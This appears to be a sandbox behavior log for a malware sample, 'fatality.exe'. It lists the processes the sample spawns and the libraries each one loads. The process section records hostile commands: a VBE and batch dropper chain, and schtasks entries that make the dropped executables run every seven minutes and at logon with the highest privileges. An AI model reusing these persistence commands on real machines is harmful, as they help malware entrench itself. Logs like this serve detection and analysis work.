Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\blockcomSession\containerReview.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\blockcomSession\containerReview.exe C:\blockcomSession\containerReview.exe
Source: unknown	Process created: C:\blockcomSession\containerReview.exe C:\blockcomSession\containerReview.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\dbg\containerReview.exe "C:\Users\All Users\dbg\containerReview.exe"
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\blockcomSession\mQBLhXIPAJ.exe "C:\blockcomSession\mQBLhXIPAJ.exe"
Source: unknown	Process created: C:\blockcomSession\containerReview.exe "C:\blockcomSession\containerReview.exe"
Source: C:\Users\user\Desktop\fatality.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blockcomSession\containerReview.exe "C:\blockcomSession/containerReview.exe"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8539.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES87BA.tmp" "c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP"	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\dbg\containerReview.exe "C:\Users\All Users\dbg\containerReview.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\blockcomSession\mQBLhXIPAJ.exe "C:\blockcomSession\mQBLhXIPAJ.exe"

Source: C:\Users\user\Desktop\fatality.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: version.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: mscoree.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: version.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: uxtheme.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: windows.storage.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wldp.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: profapi.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptsp.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rsaenh.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptbase.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
